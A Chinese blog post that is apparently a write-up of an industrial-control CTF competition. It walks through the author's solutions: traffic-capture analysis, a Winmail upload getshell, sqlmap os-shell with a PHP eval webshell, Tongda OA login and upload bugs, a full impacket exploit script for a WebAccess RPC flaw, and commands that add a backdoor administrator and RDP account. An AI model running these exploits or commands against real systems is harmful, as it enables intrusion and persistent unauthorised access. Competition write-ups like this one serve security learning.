网络安全攻防

网络安全大赛记

前言

第三次参加网络安全比赛,回想第一次的各种场面,提交与结题完全就是一个小白系列,哈哈哈。事不过三,一次次的参加总会有好的结果,本次打到总分第8,因为刚开始结题太慢,附加题基本只是混点分。

Sign-in 1

查看流量包,过滤modbus协议,挨个的翻,去发现flag
在这里插入图片描述

Sign-in 2

notepad++只交打开,搜索S7comm,挨个ip提交试过去,发现flag IP
在这里插入图片描述

Email

通过F12源码中发现目标是winmail 6.1,本版本存在一个普通用户上传getshell的漏洞,通过F12源码中发现测试号
在这里插入图片描述
通过修改ftpfolder值为“Ly4uLy4uL3dlYm1haWwvd3d3Lw==” 代表 “/…/…/webmail/www/”
在这里插入图片描述
通过IP访问webshell,在administrator目录下发现flag
在这里插入图片描述
在这里插入图片描述

Web

搜索框注入
在这里插入图片描述
在这里插入图片描述
sqlmap 直接拿 os-shell

python3.exe sqlmap.py -r e:\c.txt --os-shell

输入cmd命令生成webshell

echo ^<?php eval($_POST[“shell”]); ?^> >1.php

蚁剑连接 1.php, 上 cs 提权
在这里插入图片描述

net user a Abcd1234 /add
net localgroup administrators a /add
net localgroup "Remote Desktop Users" a /add

oa

存在一个通达OA任意用户登录漏洞,用poc可直接进后台
通过通达OA任意文件上传漏洞,本地文件包含漏洞
在这里插入图片描述
在这里插入图片描述
成功拿到shell,加入用户
在这里插入图片描述

mes

本题我们 RDP 在 web 的机器上做的,扫描后面的一个 C 段,发现 mes 的 IP 地址, 然后根据提示用 webaccess 的溢出漏洞打

#!/usr/bin/web
import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport

def call(dce, opcode, stubdata):
  dce.call(opcode, stubdata)
  res = -1
  try:
    res = dce.recv()
  except Exception, e:
    print "Exception encountered..." + str(e)
    sys.exit(1)
  return res

if len(sys.argv) != 2:
  print "Provide only host arg"
  sys.exit(1)

port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0"

host = sys.argv[1]

string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)

dce = trans.get_dce_rpc()
dce.connect()

print "Binding..."
iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)

print "...1"
stubdata = struct.pack("<III", 0x00, 0xc351, 0x04)
call(dce, 2, stubdata)

print "...2"
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
  print "Something went wrong"
  sys.exit(1)
res = struct.unpack("III", res)

if (len(res) < 3):
  print "Received unexpected length value"
  sys.exit(1)

print "...3"
# ioctl 0x2711
stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204)
command = "..\\..\\windows\\system32\\cmd.exe /c 命令"
#net user a Abcd1234 /add
#net localgroup administrators a /add
#net localgroup "Remote Desktop Users" a /add

fmt = "<" + str(0x204) + "s"
stubdata += struct.pack(fmt, command)
call(dce, 1, stubdata)

print "\nDid it work?"

dce.disconnect()

ics3

拿下 mes 这台后,他桌面上有个 rdp 的密码文件,直接上 goby 扫C段,发现 mes 同C段后面一位的机器开着 3389,直接连接

连接后 netstat -ano 查看主机连接,发现该主机连接另一台主机的 8080 口
在这里插入图片描述访问发现是 openplc 管理页面,默认口令就是 openplc openplc

上传 st 文件后,在 用户那边看到有个 openplc@openplc.com ,尝试提交,成功
在这里插入图片描述

总结

在这里插入图片描述

希望下次更好!!!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值